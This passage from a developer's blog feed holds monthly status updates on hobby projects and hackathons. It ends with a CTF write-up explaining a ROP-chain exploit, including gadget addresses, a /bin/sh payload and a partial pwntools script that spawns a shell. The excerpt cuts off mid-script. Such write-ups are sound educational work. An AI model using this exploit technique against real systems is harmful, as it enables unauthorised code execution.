&lt;li id="fn:7">
&lt;p>Such as adding relevant, nearby source code snippets or Django request properties.&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>This is late... - September Status Update</title><link>https://fluix.one/blog/status-update-2020-09/</link><pubDate>Mon, 19 Oct 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2020-09/</guid><description>&lt;p>Well, school has begun, work has been done, and as the title says, this status update is rather late. It will also include my work over the extra half month of October, so the next update will be rather short (or who knows, maybe I&amp;rsquo;ll get a lot of work done).&lt;/p>
&lt;p>Getting right into it, since winning the &lt;a href="https://kuriushacks-2020.devpost.com/">KuriusHacks 2020&lt;/a> hackathon, we&amp;rsquo;ve been helping the &lt;a href="https://www.kurius.ca/">Kurius&lt;/a> team on their new initiative titled &lt;a href="https://hackitforward.com/">HackItForward&lt;/a>. Its goal is to get developers to create projects and connect with organizations which are trying to solve challenges affecting the world. It&amp;rsquo;s still in the very early stages of development, the largest project I&amp;rsquo;ve worked on with others I know, and the first project I&amp;rsquo;m the maintainer of. This has proven to be quite a great learning experience, especially in terms of project maintenance.&lt;/p>
&lt;p>Moving on to some new stuff, I&amp;rsquo;m beginning my work on an notification/error tracking alternative to &lt;a href="https://sentry.io/">Sentry&lt;/a>, which I&amp;rsquo;ve named Snitch. This is part of my plan to improve my overall logging infrastructure which is currently almost non-existent.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> My goal behind Snitch is to keep it extremely lightweight and minimalistic, while making sure it&amp;rsquo;s still efficient at doing what it&amp;rsquo;s supposed to do: keep errors and other notifications/events in a centralized, easy to access place. I&amp;rsquo;m also doing it as an opportunity to learn Go. I&amp;rsquo;ll write a separate post just about Snitch and my overall logging infrastructure once I get a little further.&lt;/p>
&lt;p>Moving onto October, we all know about DigitalOcean&amp;rsquo;s Hack? Spam? -toberfest. Some people claim this event has done little to no good,&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> &lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> but this event has certainly affected some communities in a positive way.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> In short, I think Hacktoberfest started out pretty poorly. It spammed hundreds, if not thousands, of maintainers with meaningless pull requests, all as part of a marketing effort. But we&amp;rsquo;ve all read about that. Once enough people raised issues about the opt-out model, DigitalOcean changed the event for the better: they implemented opt-in participation from maintainers.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> While this may not have prevented the spam, it at least made it meaningless for the spammers.&lt;/p>
&lt;p>Finally, I&amp;rsquo;m &lt;del>dreading&lt;/del> having some fun with OpenGL, attempting to make some proceduraly generated terrain.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> I&amp;rsquo;ve learned it&amp;rsquo;s rather difficult to find some C (not C++) tutorials on modern OpenGL, but I&amp;rsquo;ve managed to get past that. So far, I&amp;rsquo;m proud I have this rotating coloured cube.&lt;/p>
&lt;p>&lt;img src="cube.png" alt="Rainbow colored cube on a black background">&lt;/p>
&lt;p>Anyways, that&amp;rsquo;s all for now. Stay tuned for my next update &lt;del>midway through&lt;/del> in the first week of November.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>I&amp;rsquo;ve setup Prometheus with Grafana as well as basic file logging but I haven&amp;rsquo;t set it up effectively.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://drewdevault.com/2020/10/01/Spamtoberfest.html">https://drewdevault.com/2020/10/01/Spamtoberfest.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://twitter.com/shitoberfest">https://twitter.com/shitoberfest&lt;/a> and &lt;a href="https://twitter.com/hashtag/spamtoberfest">https://twitter.com/hashtag/spamtoberfest&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>Some of the projects in the &lt;a href="https://github.com/topics/hacktoberfest">Hacktoberfest topic&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://hacktoberfest.digitalocean.com/hacktoberfest-update">https://hacktoberfest.digitalocean.com/hacktoberfest-update&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>Most likely voxel-based, planning to become a multiplayer game.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Sway Fork and Hackathons - August Status Update</title><link>https://fluix.one/blog/status-update-2020-08/</link><pubDate>Thu, 03 Sep 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2020-08/</guid><description>&lt;p>It&amp;rsquo;s the first week of September, the air is getting colder, and the winds are getting stronger. There&amp;rsquo;s also been some beautiful lightning storms that have lit up the sky late into the night and early hours of the morning. But back on topic, it&amp;rsquo;s time for another status update to talk about what I&amp;rsquo;ve been working on in August and what I plan to work on in the coming month.&lt;/p>
&lt;p>Let&amp;rsquo;s start off with talking about &lt;a href="https://swaywm.org/">Sway&lt;/a>. It&amp;rsquo;s a wonderful Wayland compositor which I have been using for the past few months and have thoroughly enjoyed. However, it &lt;em>does&lt;/em> lack some more aesthetic features like rounded borders, drop shadows, and transparent window blurring. While I personally didn&amp;rsquo;t have much interest in these features,&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> I wanted to learn some C so I took up the challenge of making customizable window borders which would allow for some of these effects.&lt;/p>
&lt;p>All of this culminated in a &lt;a href="https://github.com/swaywm/sway/pull/5639">PR&lt;/a> to add custom border image support to Sway. While many people seem to want these new features,&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> the PR was ultimately &lt;a href="https://github.com/swaywm/sway/pull/5639#issuecomment-683336945">closed&lt;/a> because it doesn&amp;rsquo;t fit the vision of Sway. So, with that, my own fork of Sway was born, titled &lt;a href="https://github.com/theaviddev/sway-borders">sway-borders&lt;/a>. While the flagship feature is these borders, I plan to add on more aesthetic features and enhancements that don&amp;rsquo;t fit upstream. In the coming days, I plan on ironing out the remaining bugs&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> and releasing an &lt;a href="https://aur.archlinux.org/">AUR&lt;/a> package for my fork. If you&amp;rsquo;re interested in this release, watch &lt;a href="https://github.com/fluix-dev/sway-borders/issues/5">this issue&lt;/a>. Oh, and here&amp;rsquo;s my personal showcase setup which uses &lt;code>sway-borders&lt;/code>:&lt;/p>
&lt;p>&lt;img src="banner.png" alt="Screenshot of desktop with six tiled applications displaying curved borders and shadows">&lt;/p>
&lt;p>Near the end of August, I also participated in the &lt;a href="https://kuriushacks-2020.devpost.com/">KuriusHacks 2020&lt;/a> hackathon with a few friends to create &lt;a href="https://devpost.com/software/tbd-7yxgu1">Stratus&lt;/a>. I&amp;rsquo;ve participated in several hackathons prior, but this is my first time creating a project that ended up taking first place. Because of this, we have also began working with &lt;a href="https://www.kurius.ca/">Kurius&lt;/a> to create their new &amp;ldquo;hackitforward&amp;rdquo; platform based on our project which will be worked on in the coming months. I&amp;rsquo;m excited to be part of their team and hope for the best with the platform. The &lt;a href="https://github.com/kuriusMTL/stratus">project&lt;/a> is now located in their &lt;a href="https://github.com/kuriusMTL/">GitHub organization&lt;/a> and will stay as an AGPL-licensed open source project.&lt;/p>
&lt;p>I wish I had more to say, but I really haven&amp;rsquo;t done all that much during August — at least I&amp;rsquo;m enjoying the summer. I do, however, have some ideas of new projects I&amp;rsquo;d like to work on in September. &lt;del>The first, which I&amp;rsquo;ll probably title &lt;code>sspm&lt;/code> is a super simple password manager that&amp;rsquo;s meant to be modular in nature and work from the command line. I&amp;rsquo;ve used &lt;a href="https://bitwarden.com/">Bitwarden&lt;/a> for a while now, but it&amp;rsquo;s bloated and difficult to control with a keyboard. &lt;code>sspm&lt;/code> would have a variety of backends to get the encrypted vault from and to, as well as a command line interface for interaction. The command line nature will make it easy to integrate with dynamic menus like dmenu or wofi.&lt;/del> Just use &lt;a href="https://www.passwordstore.org/">pass&lt;/a>&amp;hellip;&lt;/p>
&lt;p>And that&amp;rsquo;s all for now. Thanks for reading and stay tuned for my upcoming blog post about EEE.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Now it seems neat, maybe it&amp;rsquo;s because I spent several hours working on it.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>There&amp;rsquo;s 19 thumbs up, 7 hoorays, and 1 heart on the PR as of 2020-09-03 02:13 UTC.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>See issues &lt;a href="https://github.com/fluix-dev/sway-borders/issues/3">#3&lt;/a>, &lt;a href="https://github.com/fluix-dev/sway-borders/issues/6">#6&lt;/a>, &lt;a href="https://github.com/fluix-dev/sway-borders/issues/10">#10&lt;/a>, and &lt;a href="https://github.com/fluix-dev/sway-borders/issues/12">#12&lt;/a>.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>Which acronym is it&amp;hellip; find out soon!&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>DMOJ, CTFs, Sway, and More - July Status Update</title><link>https://fluix.one/blog/status-update-2020-07/</link><pubDate>Sat, 01 Aug 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2020-07/</guid><description>&lt;p>It&amp;rsquo;s the early morning of August 1st as I write this, in a style unlike any other post on this website. This will be the first in a series of monthly posts (status updates) talking about what I&amp;rsquo;ve worked on throughout the month, what I want to work on in the future, and what&amp;rsquo;s going on in my life at the moment.&lt;/p>
&lt;p>Let&amp;rsquo;s start off with this site itself. I&amp;rsquo;ve worked on the &lt;a href="https://github.com/fluix-dev/site">codebase&lt;/a> significantly and redesigned it for a more technical theme &amp;ndash; with lots of inspiration from &lt;a href="https://emersion.fr">emersion&lt;/a>. No Javascript either! I&amp;rsquo;ve written four writeups this month to total 9 blog posts since I started writing and I think I&amp;rsquo;ve come up with a more concrete plan for the future. Alongside these monthly updates, posted either at the end or early start of a month, I will be making writeups for &lt;em>only&lt;/em> the CTF challenges I find particularly enjoyable, interesting, or educational (The rest of my writeups can be seen &lt;a href="https://ctftime.org/user/86948">on CTFTime&lt;/a>). Finally, I want to write about interesting stories that occur, or have occurred, in the technological sphere, similar in style to &lt;a href="https://www.youtube.com/user/enyay">Tom Scott&lt;/a>&amp;rsquo;s videos so look forward to those.&lt;/p>
&lt;p>Regarding the &lt;a href="https://dmoj.ca">DMOJ&lt;/a>,&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> I&amp;rsquo;ve &lt;a href="https://github.com/DMOJ/online-judge/pull/1448">worked on&lt;/a> the upcoming &lt;a href="https://dmoj.ca/post/184-peg-judge-merging-dmoj">merge&lt;/a> with &lt;a href="https://wcipeg.com/main">WCIPEG&lt;/a>.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> DMOJ started off with heavy inspiration from PEG and seeing them coming together to form a stronger, unified platform is rather exciting. I feel honored for having a chance to participate in this arguably historic moment. Once this merge is finished, I need to get back to finishing &lt;a href="https://github.com/dmoj/online-judge/pulls">my PR&lt;/a> of adding unit tests for some of the utilities. It&amp;rsquo;s unfortunately fallen on the backburner while I do other work, but I&amp;rsquo;ll be sure to get it merged in August. Recently, I&amp;rsquo;ve also tried to improve my competitive programming skills by practicing various problems on DMOJ. I&amp;rsquo;ve even written a simple script&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> that picks out problems of increasing difficulty levels for me to do.&lt;/p>
&lt;p>In other news, as many of you might know, I&amp;rsquo;ve been &lt;a href="https://ctftime.org/team/127228">participating&lt;/a> in quite a few CTFs and writing writeups for them. Our team has even come &lt;em>really&lt;/em> close to some nice prizes, just a &lt;a href="https://ctf.hacktivitycon.com/scoreboard">few hours ago&lt;/a>. Having fun with friends while learning and improving, especially in the current situation that&amp;rsquo;s affecting everyone&amp;rsquo;s lives, is truly amazing. I&amp;rsquo;m trying to get better at binary exploitation, but our team really needs &lt;em>more&lt;/em> web people as we struggle with having so many high value web challenges thrown our way. Maybe I&amp;rsquo;ll look into that as well, especially considering the fact that I do web development on the side.&lt;/p>
&lt;p>I&amp;rsquo;ve started a new project, &lt;code>opencv-ptz&lt;/code>, which uses a Pan Tilt Zoom (PTZ) camera in combination with &lt;a href="https://opencv.org/">OpenCV&lt;/a> to automatically control the camera to location, move to, and zoom in on a person&amp;rsquo;s face. Right now, I&amp;rsquo;m controlling it with a simple API that exists on a web server hosted on the camera, but this control is neither fine-grained nor particularly quick. Instead, I&amp;rsquo;m going to try and build a circuit to control the camera through one of its various serial interfaces so I can ideally achieve smooth motion. The final goal of this project is to be able to watch and track animals outside or follow dancers on a stage. I&amp;rsquo;ll make sure to upload it to GitHub once I figure out the serial interface as its nothing more that a crude Python script right now.&lt;/p>
&lt;p>On a final note, I&amp;rsquo;ve been working on a mini-project for &lt;a href="https://swaywm.org/">Sway&lt;/a>. I won&amp;rsquo;t explain &lt;em>exactly&lt;/em> what it is, but it should be pretty cool. There&amp;rsquo;s little chance (or plan) for it to get merged into the official branch, but let&amp;rsquo;s just say it may warrant a separate package, similar to &lt;code>i3-gaps&lt;/code> for &lt;code>i3&lt;/code>. This should be finished within the next month, but for now I&amp;rsquo;ll leave this sneak peak below:&lt;/p>
&lt;p>&lt;img src="sway.png" alt="Terminal application with borders consisting of experimental magenta and black pixels">&lt;/p>
&lt;p>And that&amp;rsquo;s all, I&amp;rsquo;ve left out details here and there and didn&amp;rsquo;t mention the much smaller things I&amp;rsquo;ve been working on, but I hope you enjoyed. At worst, I&amp;rsquo;ll see you back here a month from now, but I hope to find something that sparks my attention and gets me in a writing mood earlier.&lt;/p>
&lt;p>Stay safe everyone!&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>A modern contest platform and archive of programming problems.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>An older contest platform that still remains active.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>It really just uses the list of problems from the &lt;a href="https://dmoj.ca/api/">API&lt;/a> and picks out &lt;code>N&lt;/code> random problems for each point value.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>My First ROP Chain - HacktivityCon 2020 Static and Dynamic Writeup</title><link>https://fluix.one/blog/hacktivity-con-2020-static-and-dynamic/</link><pubDate>Fri, 31 Jul 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/hacktivity-con-2020-static-and-dynamic/</guid><description>&lt;p>Hacktivity CON 2020 was a CTF &lt;a href="https://ctftime.org/team/127228">my team&lt;/a> and I participated in and finished fourth, one place away from the prize pool. It was a great CTF and we all learned a lot while having quite some fun. One of the pwn challenges, &amp;ldquo;Static and Dynamic&amp;rdquo; was my first experience at a Return Oriented Programming (ROP) Chain exploit, so let&amp;rsquo;s break it down.&lt;/p>
&lt;h2 id="description">Description&lt;/h2>
&lt;p>Starting up the program, we can see a simple prompt that takes in a user input and segfaults if it overflows.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">This is a really big binary. Hope you have everything you need &lt;span class="p">;&lt;/span>&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>1&lt;span class="o">]&lt;/span> &lt;span class="m">247339&lt;/span> segmentation fault &lt;span class="o">(&lt;/span>core dumped&lt;span class="o">)&lt;/span> ./sad
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking at this executable in radare2 we find that there&amp;rsquo;s a buffer of length &lt;code>0x100&lt;/code> and the return pointer shows up after another 8 bytes of padding. By showing the memory maps (with &lt;code>dm&lt;/code>) after runtime, we can see that the stack, where our input goes is not executable:&lt;/p>
&lt;pre tabindex="0">&lt;code>0x00007ffddf880000 - 0x00007ffddf8a1000 - usr 132K s rw- [stack] [stack] ; map.stack_.rw
&lt;/code>&lt;/pre>&lt;h2 id="exploitation">Exploitation&lt;/h2>
&lt;p>So instead of writing shellcode (because it can&amp;rsquo;t be executed), we can use a ROP Chain to eventually call &lt;code>execve&lt;/code> with &lt;code>/bin/sh&lt;/code> and spawn a shell. First though, we need to find the 5 gadgets&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> below to be able to exploit. The address where they are located are also included and are part of the python exploit script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="n">POP_RDI&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x00481a89&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># pop rdi, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">POP_RSI&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x00481fd7&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># pop rsi, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">POP_RDX&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x0040177f&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># pop rdx, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">POP_RAX&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x0043f8d7&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># pop rax, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SYSCALL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x0040eda4&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># syscall, ret&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now that we have found our gadgets, we need to determine the exact arguments (which use the registers &lt;code>rdi&lt;/code>, &lt;code>rsi&lt;/code>, and &lt;code>rdx&lt;/code>, with the syscall number in &lt;code>rax&lt;/code>) for &lt;code>read&lt;/code> and &lt;code>execve&lt;/code>. The &lt;code>read&lt;/code> syscall takes in a file descriptor, pointer to a buffer to read into, and a count for the number of bytes to read in. In our case, we use &lt;code>0&lt;/code> as the file descriptor for &lt;code>stdin&lt;/code> and the buffer needs to be at some offset&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> in writable memory. Let&amp;rsquo;s use &lt;code>0x4b0310&lt;/code> which can be found by looking at the writable memory maps and finding many null bytes. Before we understand the length, let&amp;rsquo;s take a look at the arguments for &lt;code>execve&lt;/code>.&lt;/p>
&lt;p>&lt;code>execve&lt;/code> takes a pointer to a pathname, a pointer to an array of &lt;code>char *&lt;/code> arguments to pass to the program, and a pointer to an array of &lt;code>char *&lt;/code> environment variables. In our case, the pathname pointer will be &lt;code>0x4b0310&lt;/code> which is where we will write &lt;code>/bin/sh&lt;/code> and the arguments will be read in by the &lt;code>read&lt;/code> right after the &lt;code>/bin/sh&lt;/code> so we will use &lt;code>0x4b0318&lt;/code>.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> These arguments need to be pointers to strings and, as we know, &lt;code>argv[0]&lt;/code> is the program name so for simplicity we can have it point back to the &lt;code>/bin/sh&lt;/code>. We end off with a null pointer to signify the end of the array. Finally, the environment variables can just be a null pointer for an empty array. Below is the full payload which &lt;code>read&lt;/code> will read in as Python bytes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;/bin/sh&lt;/span>&lt;span class="se">\x00\x10\x03\x4b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># pathname: /bin/sh\x00&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># argv[0]: \x10\x03\x4b\x00\x00\x00\x00\x00&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># argv end: \x00\x00\x00\x00\x00\x00\x00\x00&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Jumping back to our &lt;code>read&lt;/code> call, this gives us a final length of &lt;code>24&lt;/code> and a final ROP Chain exploit which looks as follows:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">process&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./sad&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># p = remote(&amp;#39;jh2i.com&amp;#39;, 50002)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">POP_RDI&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x00481a89&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># pop rdi, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">POP_RSI&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x00481fd7&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># pop rsi, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">POP_RDX&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x0040177f&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># pop rdx, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">POP_RAX&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x0043f8d7&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># pop rax, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SYSCALL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x0040eda4&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># syscall, ret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">WRITE_OFFSET&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x4b0310&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">WRITE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;/bin/sh&lt;/span>&lt;span class="se">\x00&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">WRITE_OFFSET&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ROP_CHAIN&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;A&amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">256&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">)&lt;/span>\
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">POP_RDI&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">POP_RSI&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">WRITE_OFFSET&lt;/span>&lt;span class="p">)&lt;/span> \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">+&lt;/span> &lt;span class="n">POP_RDX&lt;/span> \
